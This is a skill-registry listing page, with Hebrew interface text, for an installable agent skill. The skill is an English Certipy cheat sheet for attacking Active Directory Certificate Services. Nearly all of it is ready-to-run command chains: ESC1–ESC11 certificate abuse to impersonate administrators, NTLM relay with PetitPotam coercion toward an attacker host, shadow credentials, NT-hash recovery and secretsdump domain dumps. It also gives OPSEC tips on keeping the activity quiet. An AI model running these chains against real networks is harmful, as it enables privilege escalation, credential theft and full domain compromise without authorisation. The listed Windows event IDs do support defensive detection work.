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How it works
aeondave/certipyActive Directory ו-Windows

certipy

⁨Auth/lab ref: Python-based AD Certificate Services testing tool.⁩

v2026.11.13-21cd5683 התקנות⁦+3⁩ ב-7 ימים39 כוכביםMITסונכרן לפני 11 שעות

התקנה

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$ notholy skills install aeondave/certipy

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חתימהחתום, ed25519
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סריקהנמוךממצא אחד
  • קישורים לדומיינים חיצוניים
לסריקה המלאה
מקורgithub.com/AeonDave/malskill/tree/main/offensive-tools/windows/certipy@21cd568

הפריט הזה עדיין לא נכתב בעברית, ולכן הוא מוצג בשפה אחרת: English.

Python ADCS attack toolkit — enumerate templates, exploit ESC misconfigs, shadow credentials, PKINIT auth.

Installation

bash
pipx install certipy-ad
# or
pip install certipy-ad

Authentication Syntax

bash
# Password
certipy COMMAND -u user@DOMAIN -p password -dc-ip DC_IP

# Hash (PTH)
certipy COMMAND -u user@DOMAIN -hashes :NTHASH -dc-ip DC_IP

# Kerberos ccache
certipy COMMAND -u user@DOMAIN -k -dc-ip DC_IP

1. Enumeration

find — discover ADCS attack surface

bash
# Full enumeration — save to JSON+txt
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -stdout

# Save results for offline review
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -output certipy_results

# Show only vulnerable templates
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -vulnerable -stdout

# Include enabled templates only
certipy find -u user@DOMAIN -p pass -dc-ip DC_IP -enabled -stdout

Output fields to inspect:

  • [!] Vulnerabilities → ESC flags detected
  • Enrollment Rights → who can enroll (domain users = broad attack surface)
  • Extended Key Usage → if empty or "Any Purpose" = very dangerous
  • Enrollee Supplies Subject → if True = ESC1 candidate
  • CA Name → target for request

2. ESC Attack Chains

ESC1 — Enrollee Supplies Subject Alternative Name

Template allows requester to set arbitrary SAN. Request cert as any user including DA.

bash
# 1. Identify ESC1 template
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout | grep -A5 "ESC1"

# 2. Request cert for administrator via SAN
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC

# 3. Authenticate with cert → get NT hash
certipy auth -pfx administrator.pfx -domain DOMAIN -username administrator -dc-ip DC

# 4. PTH with recovered hash
secretsdump.py -hashes :NTHASH DOMAIN/administrator@DC

Full one-liner chain:

bash
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "UserTemplate" -upn administrator@DOMAIN -dc-ip DC && \
certipy auth -pfx administrator.pfx -dc-ip DC

ESC2 — Any Purpose or No EKU

Template has Any Purpose EKU or no EKU at all — can be used like ESC1 (SubjectAltName allowed when requesting as agent).

bash
# Same workflow as ESC1 — request with -upn
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

ESC3 — Certificate Request Agent

Two-step: request enrollment agent cert, then use it to enroll on behalf of another user.

bash
# Step 1 — get enrollment agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Enrollment Agent Template" -dc-ip DC

# Step 2 — enroll on behalf of administrator using agent cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template "Target Template" \
  -on-behalf-of DOMAIN\\administrator -pfx agent.pfx -dc-ip DC

# Step 3 — auth
certipy auth -pfx administrator.pfx -dc-ip DC

ESC4 — Vulnerable Template ACL (WriteProperty/WriteDacl)

Attacker can modify template properties to introduce ESC1 vulnerability.

bash
# 1. Save original template config
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -save-old -dc-ip DC

# 2. Modify template to enable SAN (makes it ESC1)
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.json -dc-ip DC

# 3. Now exploit as ESC1
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template TEMPLATE_NAME -upn administrator@DOMAIN -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

# 4. Restore template after exploit
certipy template -u user@DOMAIN -p pass -template TEMPLATE_NAME -configuration TEMPLATE_NAME.old.json -dc-ip DC

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on CA

CA has flag set that allows SAN in ALL requests regardless of template settings.

bash
# Request SAN identities; strong-enforcement requirements are described below
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template User -upn administrator@DOMAIN -sid S-1-5-21-...-500 -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

On a KDC enforcing strong mapping, ESC6 alone is insufficient: the target SID in the SAN URL must be used with the normal SID security extension absent (ESC9 or ESC16). A UPN-only SAN works only where the target KDC still accepts weak mappings. See KB5014754 and Certipy's ESC6/ESC9 guidance.


ESC7 — Vulnerable CA ACL (ManageCertificates / ManageCA)

Attacker has Manage CA or Manage Certificates on the CA itself.

bash
# Option A — ManageCA: enable ESC6 on CA then exploit
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC   # if this flag/path is unsupported, use the COM API (see certificate-abuse.md ESC7)
# Now ESC6 workflow works

# Option B — ManageCertificates: issue pending/failed cert requests
# 1. Request cert (it will fail without ManageCA)
certipy req -u user@DOMAIN -p pass -ca CA-NAME -template SubCA -dc-ip DC
# 2. Issue the denied request (get request ID from step 1 output)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -issue-request REQUEST_ID -dc-ip DC
# 3. Retrieve issued cert
certipy req -u user@DOMAIN -p pass -ca CA-NAME -retrieve REQUEST_ID -dc-ip DC
certipy auth -pfx administrator.pfx -dc-ip DC

ESC7 -issue-request returning Insufficient permissions: officer rights load only after a CertSvc restart, and the issuer needs Certificate Service DCOM Access too. A gMSA CA-admin can sc.exe stop/start certsvc even without local admin. Full flow + COM-API ESC6/ESC16: certificate-abuse.md.

certipy auth → Object SID mismatch between certificate and user. This is Certipy's local preflight, not evidence that the KDC will accept the certificate. Another PKINIT client may bypass that preflight but cannot bypass KDC strong-mapping enforcement. ESC16 alone does not disable KDC enforcement; for the documented enforced-mode chain, Certipy requires ESC6 SAN control plus ESC9 or ESC16 to omit the SID extension and supply the target SID in a SAN URL. See Microsoft KB5014754 and the Certipy ESC9 guide.

certipy account update -upn needs write on the target's userPrincipalName; a self-write ACE does not always cover it (doesn't have permission to update these attributes) — confirm with bloodyAD get writable first.


ESC8 — NTLM Relay to AD CS HTTP Enrollment Endpoint

Relay NTLM auth of machine account or user to the ADCS HTTP Web Enrollment endpoint — get cert for that account.

bash
# 1. Start certipy relay listener
certipy relay -ca CA_IP -template DomainController -dc-ip DC_IP

# 2. Coerce target machine to authenticate (Coercer, PetitPotam, PrinterBug)
coercer.py -t TARGET_DC -l ATTACKER_IP
# or
python3 PetitPotam.py ATTACKER_IP TARGET_DC

# 3. Certipy auto-retrieves cert and converts to pfx
# 4. Auth with cert → get NT hash of DC machine account
certipy auth -pfx dc.pfx -dc-ip DC_IP

# 5. DCSync using DC machine hash
secretsdump.py -hashes :DC_NTHASH DOMAIN/DC$@DC_IP

ESC9 — No Security Extension (CT_FLAG_NO_SECURITY_EXTENSION)

Template omits the SID security extension. The UPN-only flow below is PKINIT and works only if the target KDC still accepts weak mappings (for example, an unpatched KDC or one still honoring Compatibility mode); the ESC9 flag alone does not prove exploitability. KB5014754 says unconfigured DCs moved to Enforcement with the February 2025 update and StrongCertificateBindingEnforcement is unsupported after the September 9, 2025 update. Certipy documents a separate enforced-mode PKINIT chain using ESC6 SAN control plus ESC9/ESC16 to place the target SID in a SAN URL. Sources: KB5014754 and Certipy ESC9.

bash
# Requires GenericWrite on a target account
# 1. Change target account UPN to administrator UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn administrator@DOMAIN -dc-ip DC

# 2. Request cert as targetuser (uses administrator UPN due to no security extension)
certipy req -u targetuser@DOMAIN -p targetpass -ca CA-NAME -template TEMPLATE_NAME -dc-ip DC

# 3. Restore original UPN
certipy account -u attacker@DOMAIN -p pass -user targetuser -upn targetuser@DOMAIN -dc-ip DC

# 4. Auth with cert — maps to administrator
certipy auth -pfx administrator.pfx -dc-ip DC

ESC10 — Weak Certificate Mapping (protocol-specific)

  • KDC / PKINIT: StrongCertificateBindingEnforcement=0 is a legacy weak-mapping configuration, not a current general prerequisite. The setting is unsupported after the September 9, 2025 KB5014754 update; assess the target KDC's patch level and effective mode.
  • Schannel / TLS: CertificateMappingMethods is configured on the server handling client-certificate TLS (e.g. the DC for LDAPS). Bit 0x04 enables weak UPN mapping; Microsoft lists it as disabled by default and 0x18 as the current default. Certipy's Schannel/LDAPS path is certipy auth -pfx <cert.pfx> -ldap-shell; plain certipy auth performs PKINIT and does not test this mapping. Check the actual endpoint configuration and enrollment/UPN prerequisites. Sources: KB5014754 and Certipy ESC10.

ESC11 — NTLM Relay to ADCS RPC (ICertPassage)

Relay NTLM to ADCS RPC interface instead of HTTP — same goal as ESC8.

bash
certipy relay -target rpc://CA_IP -ca CA-NAME -template DomainController
# Then coerce auth as in ESC8

3. Shadow Credentials

Abuse msDS-KeyCredentialLink — add a key credential to a user/computer, then auth via PKINIT without their password.

bash
# 1. Add shadow credential to target account (requires GenericWrite/WriteProperty)
certipy shadow auto -u user@DOMAIN -p pass -account TARGETACCOUNT -dc-ip DC

# Output: saves .pfx and prints NT hash of target
# certipy auto handles: add key → auth → remove key (clean)

# Manual steps if needed
certipy shadow add -u user@DOMAIN -p pass -account TARGET -dc-ip DC
certipy auth -pfx TARGET.pfx -dc-ip DC
certipy shadow remove -u user@DOMAIN -p pass -account TARGET -device-id DEVICE_ID -dc-ip DC

When useful:

  • GenericWrite on user → get their NT hash without knowing password
  • GenericWrite on computer → get machine account hash → RBCD or DCSync chain

4. Certificate Authentication (PKINIT)

Authenticate to KDC using a certificate. Retrieves TGT + NT hash via PKINIT U2U.

bash
# Auth and get NT hash
certipy auth -pfx user.pfx -domain DOMAIN -username user -dc-ip DC

# PTH with recovered hash
secretsdump.py DOMAIN/user@DC -hashes :NTHASH

# Kerberos ccache output for tool use
certipy auth -pfx user.pfx -dc-ip DC
export KRB5CCNAME=user.ccache

5. CA Management

bash
# List CAs
certipy ca -u user@DOMAIN -p pass -dc-ip DC -list

# List enabled templates on CA
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -list-templates -dc-ip DC

# Enable template (requires ManageCA)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-template TEMPLATE_NAME -dc-ip DC

# Disable template
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -disable-template TEMPLATE_NAME -dc-ip DC

# Enable SAN flag (ESC6)
certipy ca -u user@DOMAIN -p pass -ca CA-NAME -enable-userspecifiedsan -dc-ip DC

6. Cert Conversion

bash
# PEM to PFX
certipy cert -pfx cert.pem key.pem -export -out output.pfx

# PFX to PEM
certipy cert -pfx cert.pfx -export -pem

# PFX with password
certipy cert -pfx cert.pfx -password pfxpass -export -pem

7. Common Full Attack Chains

Fast ESC1 chain (most common)

bash
# Recon
certipy find -u user@DOMAIN -p pass -dc-ip DC -vulnerable -stdout

# Request as DA
certipy req -u user@DOMAIN -p pass -ca "CORP-CA" -template "VulnTemplate" -upn administrator@DOMAIN -dc-ip DC

# Auth → hash
certipy auth -pfx administrator.pfx -dc-ip DC

# Dump domain
secretsdump.py DOMAIN/administrator@DC -hashes :ADMIN_HASH

ESC8 relay chain (machine account → DA)

bash
# Terminal 1 — relay
certipy relay -ca CA_IP -template DomainController -dc-ip DC

# Terminal 2 — coerce DC
python3 PetitPotam.py ATTACKER_IP DC_IP

# After relay: auth with DC cert
certipy auth -pfx dc.pfx -dc-ip DC
secretsdump.py -hashes :DC_HASH DOMAIN/DC$@DC_IP

GenericWrite → shadow creds → DA

bash
# BloodHound identifies GenericWrite on svc_account
certipy shadow auto -u user@DOMAIN -p pass -account svc_account -dc-ip DC
# If svc_account is admin, done
# If not: use NT hash to enumerate further

OPSEC Notes

  • certipy find generates LDAP queries to enumerate CAs/templates — visible in LDAP logs
  • certipy req generates a certificate request event (4886) on the CA — logged
  • certipy auth PKINIT auth generates Kerberos TGT events (4768) with cert info
  • Shadow credentials: modifying msDS-KeyCredentialLink generates Event 5136 (object modified)
  • ESC8 relay: NTLM relay events on CA HTTP endpoint — monitor IIS logs on CA
  • Prefer -vulnerable -stdout over full scan to minimize noise
  • Always restore template changes (ESC4) after exploitation

Resources

File When to load
references/adcs-internals-and-detection.md Template field anatomy, ESC5/ESC10/ESC13 details, PKINIT U2U internals, cross-domain attacks, Rubeus integration, detection signatures

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ממצאי הסריקה

נבדק ב-13 בנוב׳ 2026

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גרסהפורסמהCommitSHA-256חתימהשינוי בהרשאות
v2026.11.13-21cd56813 בנוב׳ 202621cd5686fa5e4b0חתומה–

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